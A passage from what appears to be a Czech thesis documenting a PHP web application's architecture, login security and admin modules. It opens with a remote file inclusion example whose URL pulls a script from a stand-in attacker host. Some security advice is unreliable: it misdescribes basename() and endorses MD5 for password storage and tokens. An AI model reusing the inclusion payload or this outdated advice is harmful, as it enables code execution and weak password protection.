include($_GET[’page’] . ’.php’);
se nic nezmění, protože útočník může použít URL9
http://www.example.net/index.php?
page=http://www.attacker.net/attack-script.php?a=
8Zalomení na 2 řádky vloženo pouze pro účely prezentace.
9Zalomení na 2 řádky vloženo pouze pro účely prezentace.
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takže pro je include použita adresa
http://www.attacker.net/attack-script.php?a=.php
kde se přípona PHP přidá do parametru GET a nezpůsobí žádný užitek ani škodu.
Bezpečné použití funkce include
Ošetření funkce include lze provést použitím absolutní adresy k cestě souboru s kon-
trolou, zda-li soubor na serveru existuje. K tomu lze využít funkci basename(), která
vrátí absolutní cestu k souboru. Pokud soubor na serveru neexistuje, vrátí prázdný
řetězec.
include basename($_GET[’page’]);






if (in_array($_GET[’page’], $allow)) {
include $_GET[’page’];
}




V praxi je přihlašování uživatelů řešeno pomocí formuláře, do kterého uživatel zadá
své přihlašovací údaje a formulář odešle. Skript vyhodnotí přihlašovací údaje a po-
kud jsou správné, provede založení relace, kde uloží veškerá potřebná data. Při
následujícím příchodu uživatele (po obnovení stránky) již přihlašování neprobíhá,
ale pouze se ověřuje, je-li v relaci uložen příznak, že je uživatel přihlášen. Pokud
ne, je mu podstrčen přihlašovací formulář. Ukončení platnosti přihlášení je dáno
vypršením relace (dle nastavení PHP) nebo odhlášením.
Zásadním problémem přihlašování je bezpečnost. Pokud při odesílání formulá-
řových dat probíhá přenos dat nešifrovaně, kdokoliv s přístupem k přenosové cestě
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mezi klientem a serverem může data zachytit a zjistit tak uživatelské údaje (viz
kapitola 2.5.1).
Obecně by měla být citlivá data jako hesla a různé klíče ukládány v databázi šif-
rovaně, například s využitím hashovací funkce MD5. V případě, že se někdo dostane
k databázi, je obtížné zjistit původní hodnoty.
Pokud nejde z technických důvodů použít HTTPS, je nutné volit jiná řešení.
Základním způsobem alternativního zabezpečení je šifrování uživatelských údajů
pomocí JavaScriptu.
Primitivní ochrana pomocí JavaScriptu
Před odesláním formuláře k vygenerování tzv. hashe například pomocí jednosměr-
ného hashovacícho algoritmu MD5. Přihlašovací údaje se poté odesílají šifrovaná a
jde jen těžko zjistit jejich původní hodnotu. Na serveru jsou uživatelská data uklá-
dána již v šifrované podobě, takže je možné provést srovnání řetězců. Tato metoda
ovšem zabezpečení přihlášení samotného, ale pouze zabezpečení identity uživatele.
Pokud útočník zachytí šifrované přihlašovací údaje, může se za jejich pomoci při-
hlásit do systému sám.
Metoda výzva-odpověď s využitím JavaScriptu
Při této metodě dochází k obousměrnému šifrování dat za pomocí klíče, jak na straně
klienta, tak na straně serveru. Při příchodu uživatele na přihlašovací formulář server
vygeneruje výzvu (například náhodný řetězec), kterou zašifruje algoritmem MD5,
uloží do databáze a pošle klientovi.
Před odesláním přihlašovacích údajů dochází k jejich zašifrování pomocí klíče
(výzvy) například algoritmem HMAC MD5. Dále data putují šifrovaná a na serveru
se při ověření provádí podobný proces.
Uživatelská data se nejdříve zašifrují pomocí klíče (výzvy) a poté teprve dochází
ke srovnání jestli se shodují s těmi přijatými od klienta. Pokud se shodují, je výzva
z databáze vymazána.
Hlavní výhoda metody spočívá v šifrování uživatelských dat náhodným klíčem —
přenášená data jsou vždy jiná. V případě, že útočník není schopný získat i výzvu
samotnou, není také schopen dešifrovat uživatelská data a zneužít je. V případě, že
útočník zachytí i výzvu, má velice krátký čas na přihlášení se do systému. Pokud
to nestihne dříve jak platný uživatel, je výzva smazána a pomocí zašifrovaných
přihlašovacích údajů se již nepřihlásí.
Zjednodušené schéma principu ověření uživatele metodou metodou výzva - od-
pověď je zobrazeno na obrázku 2.3.
[3]
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Databázový model je navržen s ohledem na specifikaci požadavků (viz kapitola 1).
Model je pomocí ERD diagramu zobrazen na obrázku 3.1. Adekvátní MySQL pří-
kazy pro vytvoření tabulek jsou uvedeny v příloze A.
Obr. 3.1: ERD diagram
3.1.1 Stručný popis tabulek a jejich sloupců
Všechny názvy sloupců jsou sestaveny ve formátu „tabulka sloupecÿ, což usnad-
ňuje orientaci v MySQL dotazech, zejména při práci s více tabulkami současně.
Tabulky obsahují sloupce se stejným významem:
• *_id — id záznamu
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• *_key — klíč záznamu1
• *_published — příznak „publikovánoÿ
• *_parent — id nadřazeného záznamu
Vzhledem k použití univerzálního naslouchače událostí, musí mít některé sloupce
tabulek přesně definovaný název (viz kapitola 3.3.3).
U tabulek at_theory a at_simulation byl použit pro sloupce *_text datový typ
mediumtext, který umožňuje uchovávat textová data o délce 16 777 215 Bytů, což
odpovídá stejnému počtu textových znaků při použití single-byte kódování (v pří-
padě WAPTH se jedná o ISO-8859-2).
Při použití běžného typu text by byl sloupec omezen na 65 535 znaků a mohlo
by docházet k „ořezáníÿ delšího textu při jeho uložení do databáze. MySQL server
v takovém případě nehlásí žádnou chybu.
3.2 Jádro systému
Jádro systému je tvořeno souborem index.php, který se stará o veškeré další přechody
mezi stránkami (moduly). Skript na základě GET parametru page provádí výběr
požadovaného modulu a popřípadě další řídící funkce. Veškeré požadavky jsou vždy
směřovány na soubor index.php. Tento princip je použit jak u administrační tak u
uživatelské části aplikace.
Nízkoúrovňová konfigurace
Nízkoúrovňové nastavení je řešeno souborem include/config.php. Jsou v něm uložena
nastavení jako připojení k databázovému serveru, časové limity platnosti relací a
cookies a další různá nastavení. Ve skriptu se také sestavují cesty do různých složek
aplikace. Sestavování cest je z části automatické.
Sestavování cest
Pro práci většiny součástí aplikace je potřeba přesně specifikovat cestu k souboru
nebo adresáři, popřípadě webovou adresu skriptu. K tomu účelu slouží konstanty,
definované v include/config.php:
• PATH WEB ROOT HTTP - absolutní webová adresa aplikace, HTTP
• PATH WEB ROOT HTTPS - absolutní webová adresa aplikace, HTTPS
1Momentálně je aplikace upravena tak, že klíč záznamu hraje roli pouze v tabulce at topics.
Klíč je použit pro sestavení URL (viz kapitola 2.2.9).
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• PATH WEB ROOT - absolutní webová adresa aplikace podle aktuálně použitého
protokolu
• PATH UPLOAD DIR REL - relativní adresa složky pro uploadování souborů
• SYSP INCLUDE ROOT - soubory pro include
• SYSP WEB ROOT - kořen aplikace
• SYSP UPLOAD DIR - adresář pro uploadování souborů
• SYSP DB BACKUP - adresář pro ukládání záloh databáze
• SYSP TEMPLATES ADMIN - adresář s šablonami administrace
• SYSP MODULES ADMIN - adresář s moduly administrace
Určení cesty k právě zpracovávanému souboru se provádí následujícím způsobem.
$path = dirname(__FILE__);
Na základě této absolutní cesty lze konvertovat další cesty, zadané relativně, na
absolutní.
Při práci s cestami k souborů je potřeba také brát v úvahu to, že PHP provozo-
vané pod operačním systémem Windows se chová jinak než pod Unixovým serverem.
Důvodem je odlišnost v souborových systémech, resp. adresování souborů v nich.
Systémy Windows adresují cestu pomocí zpětného lomítka, zatímco Unixové sys-
témy adresují pomocí dopředného lomítka. K účelu rozlišení jaký oddělovač systém
používá, slouží v PHP integrovaná konstanta DIRECTORY SEPARATOR. Tu ale není
potřeba používat, pokud jsou použita pouze dopředná lomítka, tedy Unixový způ-
sob adresování — PHP pod Windows se přizpůsobí. Opačné přizpůsobení (Unix
oddělovačům Windows) nefunguje.
Inicializační skript
Další společnou součástí aplikace je inicializační skript include/init.php. Tento skript
je includován do téměř každé stránky aplikace. Způsobí start relace, includuje další
důležité součásti aplikace a vytváří instance společných tříd.
Sada jednoduchých funkcí
Dalším důležitým skriptem je include/functions.php, v kterém jsou definovány všech-
ny základní a jednoduché funkce jako například funkce pro práci s daty, debugovací
výpisy, mapování URL adres apod.
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3.3 Sdílené třídy
Veškeré sdílené třídy jsou umístěny v adresáři include/classes. Každá třída sdružuje
sadu metod a vlastností, které se týkají určité funkce a práce s určitými daty.
3.3.1 Databázová třída CDb
Obsahuje sadu metod pro komunikaci s databází. Hlavní výhoda používání databá-
zové třídy spočívá v možnosti změny typu databáze. V takovém případě se provede
výměna třídy, ale do zbytku aplikace se nemusí zasahovat. V aplikaci WAPTH se ze
změnou databázového systému nepočítá, proto třída slouží hlavně ke zjednodušení
práce s databází.
Při vytvoření nové instance databázové třídy je otevřeno spojení s databází za
pomocí konfigurace z hlavního konfiguračního souboru include/config.php, následuje
výběr databáze a nastavení kódování pro přenos. Identifikátor založeného spojení
je uložen do globální proměnné, aby ostatní instance mohly využít již založeného
spojení a zbytečně se nevytvářely nové.
Databázová třída dále obsahuje metody pro odesílání MyQSL dotazů a zpraco-
vání výsledků dotazů. Pro jednoduché odeslání dotazu slouží metoda q(), jejímž
prvním argumentem je MyQSL dotaz a druhým nepovinným argumentem je logická
hodnota ovlivňující chování při výskytu chybu v dotazu (ukončit skript/pokračovat).
Ukázka použití metody q():
$db = new CDb();
$db->q(”DELETE FROM tabulka WHERE id=2”);
Při odesílání dotazu, jehož částí je i uživatelský vstup, je nebezpečí výskytu SQL
injection (viz kapitola 2.5.3). Proto je v databázovém objektu i metoda prepare().
Jejím prvním argumentem je MySQL dotaz a dalšími argumenty jsou hodnoty, za
které budou nahrazeny zástupnými symboly ? z MySQL dotazu. Použití zástupných
symbolů v MySQL dotazu umožňuje aplikovat funkce pro ošetření hodnot z uživatel-
ských vstupů. Zástupné symboly jsou pak v MySQL dotazu nahrazeny ošetřenými
hodnotami. Metoda se volá podobně jako funkce sprintf() a vrací ošetřený MySQL
dotaz.
Ukázka použití metody prepare():
// comment
$db = new CDb();




Dalšími důležitými metodami jsou metody pro odeslání dotazu a zpracování
výsledků qf assoc(), qf assoc array(), qf value(). První pro podání dotazu a
zpracování vrácení výsledku jako asociativní pole (1 řádek tabulky). Druhá pracuje
s více řádky tabulky. Třetí pracuje pouze s jedním sloupcem jednoho řádku, takže
nevrací pole, ale pouze jednu hodnotu.
Databázová třída obsahuje metody pro logování podaných dotazů, které ukládá
do relace. Tak je možno vypsat všechny dotazy podané v rámci celého skriptu ne-
závisle na vytvořených instancích objektu. Tato možnost se zapíná v hlavním kon-
figuračním souboru aplikace include/config.php.
Třída je vybavena také metodami pro zálohování a obnovu databázových tabu-
lek. Při vytváření zálohy jsou všechny tabulky a data v nich seskládány do rozsáhlého
MySQL dotazu. Takovému procesu se říká MySQL dump.
Při importu zálohy do MySQL jsou původní tabulky vymazány, založeny nové
a vloženy do nich data. Import lze kromě použití aplikace WAPTH provést nástroji
pro správu databáze jako MySQL Administrator nebo webový phpMyAdmin.
Zálohy se ukládájí do souboru s příponou sql do určeného adresáře a v jejich
názvu se vyskytuje i timestamp vytvoření, aby bylo možné zpětně zjistit, kdy byla
záloha vytvořena nezávisle na parametru „last modifiedÿ souboru se zálohou. Ti-
mestamp je v názvu uveden pro případ kopírování nebo záměrné i nechtěné změny
souboru, kdy je přepsán původní atribut souboru „last modifiedÿ.
3.3.2 Uživatelská třída CUser
Slouží k autorizaci uživatelů v administračním rozhraní. Zabezpečení přihlašování
je řešeno pouze ukládáním hashů hesel do databáze. Je využita hashovací funkce
MD5 a šifrování se provádí na straně serveru. Tím jsou chráněna uživatelská hesla
proti odhalení jejich původní podoby z databáze.
Ochrana přenosu dat je řešena použitím protokolu HTTPS. V konfiguračním
souboru serveru .htaccess jsou direktivy pro automatické přesměrování uživatele při
vstupu do administrace na protokol HTTPS (viz kapitola 3.4.1).
Samotná třída, která má na starosti autorizaci uživatelů také obsahuje funkce
pro kontrolu IP adresy, z níž uživatel přistupuje a zajišťuje i regeneraci identifikátoru
relace.
Kontrola IP adresy funguje tak, že v relaci je uložena adresa, odkud se uživatel
přihlásil. Pokud by případný útočník zcizil id relace platného přihlášeného uživatele,
vystupuje na serveru pod jinou IP adresou. V takovém případě je vyhodnocena
neshoda adres a relace je ukončena.
Regenerace identifikátoru relace znamená, že při každém požadavku klienta je
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vygenerován nový identifikátor relace. Případný útočník má pak znepříjemněné po-
užití kradeného identifikátoru.
Tyto kontrolní mechanismy nehrají v případě použití HTTPS žádnou roli, takže
je možné, ale ne nutné vypnout. Zapnutí a vypnutí těchto mechanismů se provádí
v konfiguračním souboru include/config.php.
Třída se používá pouze vytvořením její instance. V konstruktoru se provedou
všechny procesy důležité pro autorizaci a ověření autorizace uživatele. Pokud není
uživatel přihlášen, dojde k zobrazení přihlašovacího formuláře a činnost skriptu je
ukončena příkazem exit. Zjednodušený princip autorizace s využitím třídy CUser
je znázorněn na obrázku 3.2.
Vygenerování nohého hesla
Z přihlašovacího formuláře je také přístupný formulář, sloužící pro zahájení pro-
cesu vygenerování nového hesla v případě, že uživatel heslo ztratí. Tato funkce je
realizována pomocí formuláře se vstupním polem pro zadání uživatelského jména.
Průběh úkonů prováděných při generování nového hesla je následující:
1. Po odeslání formuláře se provede kontrola přítomnosti uživatele v databázi
a pokud je přítomen, vygeneruje se požadavek na nové heslo. Požadavek je
reprezentován 32-znakým řetězcem vygenerovaným pomocí hashovací funkce
MD5 aplikované na náhodné číslo.
2. Jedna kopie požadavku se odešle uživateli na e-mail, druhá kopie se uloží do
tabulky požadavků.
3. Uživateli v příchozím e-mailu dorazí odkaz, po jehož otevření v prohlížeči
dojde k ověření platnosti požadavku. V případě, že je požadavek platný, se
vygeneruje nové náhodné heslo a nahradí se jím staré heslo.
4. Uživateli je odeslán 2. e-mail s novým uživatelským heslem a požadavek je
z tabulky vymazán.
Díky tomuto poněkud složitějšímu procesu generování hesla nemůže nastat situ-
ace, kdy někdo zneužije cizí přihlašovací jméno a platnému uživateli bez jeho vědomí
změní heslo.
3.3.3 Obecný naslouchač událostí CListener
Při práci se záznamy v databázi se postupuje téměř vždy stejně. Proto je výhodné
použít obecnou třídu, která bude nejčastější úkony provádět automaticky na zá-
kladě předaného nastavení. K účelu zjednodušení obsluhy formulářů a práce s daty







































Obr. 3.2: Zjednodušený princip autorizace uživatelů pomocí třídy CUser
Základní nastavení
Pro správnou funkci naslouchače je mu zapotřebí předat nastavení tabulky, jednot-
livých sloupců tabulky a seznam událostí na které má reagovat.
• Nastavení tabulky spočívá v definici názvu tabulky.
• Nastavení sloupců se provádí vyjmenováním sloupců tabulky, se kterými má
naslouchač pracovat a jejich popisu (název vstupního pole formuláře). Popis
se používá při vracení chybové zprávy, pokud data neschválí validátor hodnot.
• Seznam naslouchaných událostí je definován jako textový řetězec s vyjmenova-
nými událostmi oddělenými čárkami. Pro naslouchání všech událostí lze také
použít zástupný symbol „*ÿ.
Naslouchané události
Funkce (události), které ma naslouchač na starosti jsou: update, delete, insert, pu-
blish a position. Těmto identifikátorům funkcí potom musí odpovídat i proměnná
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GET, která je využita pro rozlišení úkolu a popřípadě id řádku tabulky, se kterým
má daná funkce pracovat.
1. Update slouží pro aktualizaci existujících hodnot v tabulce. Pro její funkci je
třeba předat výstup formuláře, které má naslouchač uložit a GET proměnnou
ve tvaru update=id_radku.
2. Insert slouží k vložení nového řádku do tabulky. Opět je třeba předat výstup
formuláře a GET proměnnou ve tvaru insert=true.
3. Delete slouží ke smazání řádku tabulky. Pro tuto funkci je třeba pouze GET
proměnné ve tvaru delete=id_radku.
4. Publish slouží k přepnutí stavu „publikovánoÿ. Tato funkce vyžaduje správné
pojmenování sloupce tabulky — název musí být ve tvaru
nazev_tabulky_published.
5. Position slouží ke změně parametru „poziceÿ. Tato funkce zabezpečuje do-
držení spojitosti parametru v tabulce a možnost posouvání řádků v tabulce
(o jedno výše/níže).
Změna parametru se řídí pravidly:
(a) Při posunu řádku se upravuje parametr „poziceÿ ve všech řádcích tak,
aby vždy začínal číslem 1.
(b) Při vložení nového řádku do tabulky je parametr o jedno větší než ma-
ximální hodnota parametru v tabulce (záznam je z hlediska parametru
„poziceÿ přidán nakonec).
(c) Při odstranění řádku z tabulky dojde k přepočítání parametrů tak aby
byly spojité (prázdné místo po smazaném řádku je zaplňěno).
(d) Při posunu řádku v tabulce dochází k výměně parametru mezi 2 soused-
ními řádky podle toho, zda-li má být proveden posun nahoru nebo dolů
(měněný-předchozí/měněný-následující).
Události insert a update jsou také automaticky chráněny proti SQL injection.
Validace uživatelských vstupů
Při událostech insert a update se provádí validace vstupních dat dle nastavení.
Nastavení validace hodnot se provádí vyjmenováním sloupců, které se mají validovat
a typu dat, které se do sloupce budou ukládat. Pokud některá z kontrolovaných
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hodnot neodpovídá datovému typu nebo formátu, je událost zastavena a třída vrací
chybovou zprávu.
Validace dat je provozována ve spolupráci s třídou CValidator, popsanou v ka-
pitole 3.3.7.
Kontrola unikátnosti a automatická tvorba klíče
Třída lze nastavit tak, aby automaticky kontrolovala unikátnost záznamů ve sloupci
a simulovala tak příznak „primární klíčÿ sloupce tabulky v databázi. K této funkci
je třeba dodržet pojmenování sloupce ve formátu nazev tabulky key.
Dalším nastavením je automatická tvorba klíče z jiného sloupce tabulky. Tato
funkce slouží například při vytváření klíče záznamu z jeho názvu. Zdrojová hodnota
je v takovém případě převedena na tvar vhodný pro URL (odstranění diakritiky,
převod mezer na pomlčky, převod velkých písmen na malá, . . . ).
Ošetření formulářových prvků checkbox
Při práci se vstupními poli typu checkbox formuláře je problém v tom, že hodnotu
tohoto prvku klient odesílá pouze v případě, že byl checkbox zatržen. To může půso-
bit problémy při aktualizaci záznamů v tabulce. Při neošetřeném zpracování dojde
pouze k nastavení hodnoty, ale už nemůže dojít ke zrušení hodnoty. Z tohoto dů-
vodu je naslouchači možno předat seznam checkboxů, které má kontrolovat. Pokud
nenajde ve výstupu formuláře nastavenou hodnotu, považuje ji za 0. Pokud najde,
považuje ji za 1.
Ukázka použití
Následující jednoduchý skript slouží pro vložení dat z formuláře do databázové ta-















// vytvorˇenı´ instance naslouchacˇe
$common_listener = new CListener(’example_table’, $cols, $valid);
// nastaveni checkboxu˚
$common_listener->checkboxes_cols = array(’active’);












<input type=”checkbox” name=”edit[active]” value=”1”





3.3.4 Třída pro práci s URL CUrl
Ve složitějších aplikacích, kde se často pracuje s předáváním dat pomocí parametru
GET, je výhodné použít funkce pro sestavování adres. Typickým příkladem jsou





čímž se dostaneme například z detailu položky na úvodní stranu nějakého přehledu.
Ukázka je sice jednoduchá, ale v praxi je třeba někdy pracovat s velkým počtem
parametrů.
Modifikace GET parametrů v URL
Třída CUrl obsahuje metodu assebmle(), která umožňuje přidávat a odebírat pa-
rametry ze současné URL na základě pravidel, které jí předáme. Metodě je možno
předat 3 nepovinné argumenty. Prvním je řetězec s parametry, které má z URL
odebrat. Druhým argumentem je řetězec s parametry, které má přidat. Třetím ar-
gumentem je logická hodnota, která ovlivňuje použitý oddělovač parametrů v URL
(& nebo &amp;), aby bylo možné použít zpracovanou adresu i v HTML i pro pře-
směrování pomocí funkce header().
Syntaxe příkazů pro odebrání parametrů:
• ’*’ - odebrat všechny parametry
• ’page’ - odebrat parametr „pageÿ (lze řetězit — oddělit čárkami)
• ’!page’ - odebrat vše kromě „pageÿ (výjimku lze aplikovat pouze na jeden
parametr)
Syntaxe příkazů pro přidání parametrů:
• ’page=index’ - přidat parametr „pageÿ s hodnotou „indexÿ (lze řetězit —
oddělit čárkami)
Přesměrování
Třída obsahuje také metody pro přesměrování klienta. Základní metodou pro pře-
směrování je redirect(), která způsobí pouhé přesměrování na požadovanou URL,
předanou v jediném argumentu. Po odeslání přesměrovávací hlavičky je odeslána
hlavička „303 See Otherÿ, která způsobí smazání cache klienta. Mazání cache je dů-
ležité zejména po odeslání formuláře metodou POST. Pokud nedojde k odeslání této
hlavičky, zůstane cache zachována a případné obnovení stránky znamená opětovné
odeslání formuláře a možnou duplicitu záznamů v databázi.
Po odeslání hlaviček je ukončeno provádění skriptu s výpisem odkazu na no-
vou URL. Odkaz je dobré v takovémto případě vypsat, protože jsou využity funkce
header(), které se provedou pouze v případě, že skript do té doby neposlal data na
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výstup. V případě výpisu nějakého chybového hlášení apod. tedy nedojde k automa-
tickému přesměrování, ale uživatel má ještě možnost kliknout na odkaz na žádanou
stránku.
Modifikace GET parametrů v URL s přesměrováním
Při zpracovávání formulářů se někdy používají k rozlišení způsobu zpracování dat
parametry GET. V takovém případě je vhodné po zpracování formuláře provést
úpravu adresy a přesměrovat klienta na původní adresu. K tomuto účelu slouží me-
toda assemble_redir(). Jak vypovídá název metody, jedná se o kombinaci metod
assebmle() a redirect(). To znamená, že po úpravě URL dojde k přesměrování
na ni.
3.3.5 Třída pro zpracování matematických výrazů CLatex-
Math
Kvůli jednoduchosti administrace teorie u jednotlivých témat je vhodné konvertovat
matematické výrazy v textu automaticky na obrázky. K tomuto účelu slouží objekt
CLatexMath, který využívá aplikaci mimeTeX (viz kapitola 2.2.8).
Konverze výrazů na obrázky
Metoda pro nahrazení výrazů obrázky se nazývá replace_tags() a jejím jediným
argumentem je textový řetězec — matematický výraz. Při zpracování textu se po-
stupuje následovně:
1. V textu jsou za pomocí regulárního výrazu hledány značky ohraničující mate-
matický výraz (tag [math][/math]) a výrazy jsou extrahovány do pole.
2. V každém výrazu dochází k náhradě mezer a jejich entit, které může do textu
vložit WYSIWIG editor, za znak .˜
3. Vícenásobné kombinace znaků ˜ jsou odstraněny.
4. Skriptu mimeTeX je odeslán výraz a skript vrátí obrázek, který je uložen do
paměti.
5. Z výrazů jsou vytvořeny hashe MD5, které dále figurují jako identifikátory
jednotlivých výrazů.
6. Obrázky výrazů jsou z paměti uloženy do adresáře pro cachování výrazů pod
názvem odvozeným z hashe výrazu.
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7. Značky v původním textu jsou nahrazeny HTML tagy IMG, kde parametr
SRC je cesta ke cachovanému obrázku, parametr ALT obsahuje původní výraz
s ošetřenými mezerami a parametr CLASS obsahuje identifikátor, sloužící při
zpětném vyhledávání výrazů ve zpracovaném textu.
Aplikace mimeTeX umí sama ukládat konvertované obrázky do cache. Třída
CLatexMath, ale této možnosti nevyužívá. Jedním z důvodů je, že předgenerované
obrázky lze bez problémů stáhnout z webu i při zapnuté ochraně proti hotlinkování.
Druhým důvodem je nezávislost CGI skriptu na umístění na serveru (při přesunu
by byla nutná rekompilace).
Třída je nastavena tak, aby při každé aplikaci metody replace_tags() pře-
budovala v cache již existující obrázky kvůli minimalizaci chyb vzniklých při pří-
padné špatné funkci aplikace mimeTeX. Nastavení lze změnit editací vlastnosti
rewrite_cache.
Při aplikování funkce replace_tags() na text s výrazy je například odstavec
<p>[math] a = b + c [/math]</p>
po zpracování nahrazen za2
<p><img src=”http://www.example.net/resources/latexmcache/
21148ee2705bbec8f449cc3ee663d415.gif” class=”latex_math_image”
alt=” a = b + c ” style=”vertical-align:-2px” /></p>
Rekonstrukce výrazů
Aby bylo možné upravit text, ve kterém byly nahrazeny výrazy za obrázky, obsahuje
třída metodu ireplace_tags(). Tato metoda je zodpovědná za nalezení HTML
tagů IMG v textu a extrakci původního výrazu z parametru ALT.
Pokud tedy na nějaký text, obsahující matematické výrazy, aplikujeme napřed
metodu replace_tags() a poté na její výsledek metodu ireplace_tags(), dojde
pouze k „pročištěníÿ mezer ve výrazech.
3.3.6 Třída pro načítání nastavení CSettings
Třída slouží pro načítání nastavení uložených v databázi. Každé nastavení je ulo-
ženo v databázi pod unikátní textový identifikátorem. Načtení hodnoty nastavení
se provádí metodou get(), jejímž jediným argumentem je identifikátor nastavení.
Metoda vrátí hodnotu nastavení.
2Pro účely prezentace je cesta k souboru zalomena na 2 řádky.
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Třída obsahuje mechanismus pro uchovávání nastavení v případě, že již jednou
bylo v rámci skriptu načítáno. Díky tomu se minimalizuje počet dotazů na databázi.
Třída také umožňuje načtení a uchování všech nastavení z tabulky. Tato možnost
je momentálně zapnuta vzhledem k malému počtu nastavení. Díky tomu je přenášeno
z databázového serveru malé množství informací při podání jednoho požadavku. Při
zvýšení počtu nastavení by bylo vhodné objekt přepnout do režimu načítání na
vyžádání.
3.3.7 Třída pro validaci dat CValidator
Při zpracovávání uživatelských vstupů je v některých případech kladen důraz na
typ a formát zadaných dat. Pro kontrolu uživatelských vstupů je možno využít
třídu CValidator.
Metoda validate() slouží jako agregátor dílčích validačních metod. Metoda
zabezpečuje kontrolu správnosti vstupních dat a v případě, že data neodpovídají
danému formátu, vrací chybovou zprávu. Chybová zpráva je konstruována tak, aby
ji nebylo nutné upravovat — lze ji přímo zobrazit uživateli.
Validaci například zadaného e-mailu uživatele lze provést následujícím způso-
bem.
$validator = new Cvalidator();
echo $validator->validate ($_POST[’user_email’], ’email’, ’E-mail’);
V případě, že zadaný e-mail neprošel validačním procesem, je vypsána chybová
zpráva „Do pole E-mail zadejte platnou e-mailovou adresu.ÿ
3.4 Administrační část
Administrační část aplikace a její rozhraní slouží k autorizovanému přístupu admi-
nistrátora k úpravě nastavení a informací publikovaných v uživatelské části.
3.4.1 Zabezpečený přístup
Přístup do administračního rozhraní aplikace je řešen automatickým přesměrová-
ním klienta na protokol HTTPS. K tomu slouží direktivy v konfiguračním souboru
.htaccess.
V případě, že aplikace je přístupná na samostatné doméně, může kód pro auto-





RewriteRule ˆ(.*) https://%{SERVER_NAME}/$1 [R,L]
Na prvním řádku dojde k zapnutí rewrite enginu serveru (na serveru musí být
k dispozici modul mod rewrite).
Druhý řádek definuje podmínku přesměrování — pokud klient přistupuje přes
HTTP (jinak by mohlo dojít ke smyčce při přesměrování).
Třetí řádek definuje podmínku přesměrování — v URI se musí vyskytovat řetězec
„admin/ÿ
Poslední řádek provede přesměrování požadované adresy na protokol HTTPS
3.4.2 Autorizace uživatelů
Autorizace uživatelů je řešena includem skriptu include/user.php v jádru adminis-
tračního systému — souboru admin/index.php. V něm je vytvořena instance třídy
CUser, jejíž konstruktor provede všechny potřebné kroky k autorizaci uživatele.
Include souboru include/user.php se provádí před začátkem zpracování dat tak, aby
v případě, že uživatel není přihlášen, nemohlo dojít k zahájení procesů závislých na
autorizaci.
Díky umístění vytváření instance v jednom skriptu je možno dosáhnout rychlého
zabezpečení jiného skriptu pouhým includem souboru include/user.php.
3.4.3 Uživatelská práva
V aplikaci je možno pracovat s oprávněními k přístupu k jednotlivým modulům
administrace. K tomu účelu slouží 3 pevně definované uživatelské role:
• Administrátor nemá žádná omezení v přístupu k modulům.
• Redaktor má povolen úplný přístup k modulům „Témataÿ, „Teorieÿ, „Simu-
laceÿ, „Testyÿ a „Otázkyÿ.
• Zablokovaný uživatel nemá přístup do administrace.
Nastavení práva přístupu uživatele redaktor k jednotlivým modulům lze změnit
v nastavení modulů.
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3.4.4 Jádro administrační části
Jádrem administrační části je soubor admin/index.php, který provádí na základě
GET parametru page výběr požadovaného modulu. Výběr je prováděn za pomoci
konfiguračního pole modulů, definovaného v souboru include/modules.php. Pokud
je vyžádán modul, který není nainstalovaný (není uveden v seznamu modulů), ne-
existuje (nebyl nalezen soubor) nebo má neplatný název, není provedeno načtení
modulu. Z konfiguračního pole modulů je také sestavováno menu administrace.
3.4.5 Šablonovací sytém
Šablony administrační části jsou umístěny v adresáři admin/templates. Jedná se o
šablonu záhlaví ( header.php) a šablonu zápatí ( footer.php). Samotné tělo šablony
je pak věcí šablony modulu (viz kapitola 3.4.6). Načítání šablon záhlaví a zápatí
zabezpečuje jádro administrace.
Šablony využívají slastní stylopisy CSS, které jsou umístěny v adresáři adimn/css
a obrázky umístěné v adimn/images.
3.4.6 Modulární systém
Administrační část aplikace je navržena modulárně. To znamená, že jde jednoduše
doplnit další modul administrace a moduly lze snadno aktualizovat. Z tohoto důvodu
je aplikační i prezentační část modulu umístěna v jednom souboru. Modul je tvořen
pouze jednou třídou.
Všechny moduly administrace jsou umístěny v adresáři include/modules. V kon-
figuračním souboru modulů se nachází také specifikace výchozího modulu.
Instalace modulu a spočívá v nakopírování požadovaného modulu do adresáře
include/modules, zanesení modulu do konfiguračního souboru /include/modules.php
a případného vytvoření příslušných tabulek v databázi.
Moduly jsou pojmenovány ve formátu „ModuleAbcÿ, přičemž název souboru
musí korespondovat s názvem modulu (ModuleAbc.php).
Každý modul musí obsahovat některé vlastnosti a metody, které jsou důležité pro
jejich řízení. Jedná se například o položky menu daného modulu, tabulka v databázi
s níž pracuje a nastavení sloupců, naslouchač událostí, prezentační metodu (šab-
lonu) atd. Ukázková konstrukce modulu s využitím obecného naslouchače událostí
se nachází v souboru include/modules/ModuleBlank.php.
Každý modul může využívat společných tříd, musí být ovšem opatřen načtením
příslušné třídy pomocí funkce require once(). Instance použitých tříd se zakládají
v každém modulu v konstruktoru. Pokud tedy modul využívá nějakou třídu, musí
být v konstruktoru vytvořena jeho instance i přes to, že již byla vytvořena jeho
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globální instance a bylo by možné k ní přistupovat pomocí klíčového slova global.
Tímto způsobem práce s třídami je minimalizována závislost modulu na jeho okolí.
Modul „Témaÿ (ModuleTopic)
Slouží pro administraci témat a tvoří i rozhraní pro přístup k podřízeným položkám
jednotlivých témat. Při mazání témata se provádí i mazání položek jemu podříze-
ných, tzn. teorie, simulace, testy, testové otázky a odpovědi. Spojení dotazu pro
vymazání tématu je řešeno MySQL klauzulí LEFT JOIN, která připojuje k tabulce
s tématy další tabulky.
Modul „Teorieÿ (ModuleTheory)
Slouží k administraci stránek teorie. Každá stránka teorie může být vázána pouze
na jedno téma. Modul je schopný provádět vazby více stránek teorie na jedno téma,
ale tato možnost je uměle potlačena3.
V modulu musí být upravitelný samotný obsah stránek a tudíž editovatelný
HTML kód. Proto je v něm využit WYSIWIG editor HTML kódu — FCK editor.
Popis jeho implementace je uveden v kapitole 3.4.7.
V modulu „Teorieÿ je také využit sdílený objekt CLatexMath (viz kapitola 3.3.5).
Při ukládání tématu do databáze dochází nejprve k vyhledání matematických výrazů
v textu a jejich nahrazení za obrázky. Poté se data teprve ukládají do databáze.
Při zobrazení detailu teorie v administraci se zase vyhledávají obrázky, které
zobrazují matematické výrazy a rekonstruuje se zpět původní matematický výraz.
V administraci teorie tak není možné spatřit obrázky, reprezentující výrazy.
Modul „Simulaceÿ (ModuleSimulation)
Vzhledem ke stejným požadavkům na funkčnost modulu je až na využití jiné MySQL
tabulky zcela totožný s modulem „Teorieÿ.
Modul „Testÿ (ModuleTest)
Je podobně jako modul „Témaÿ jednoduchý a obsahuje rozšířené mazání testů a
podřízených záznamů. Při smazání testu tedy dojde i ke smazání otázek a odpovědí
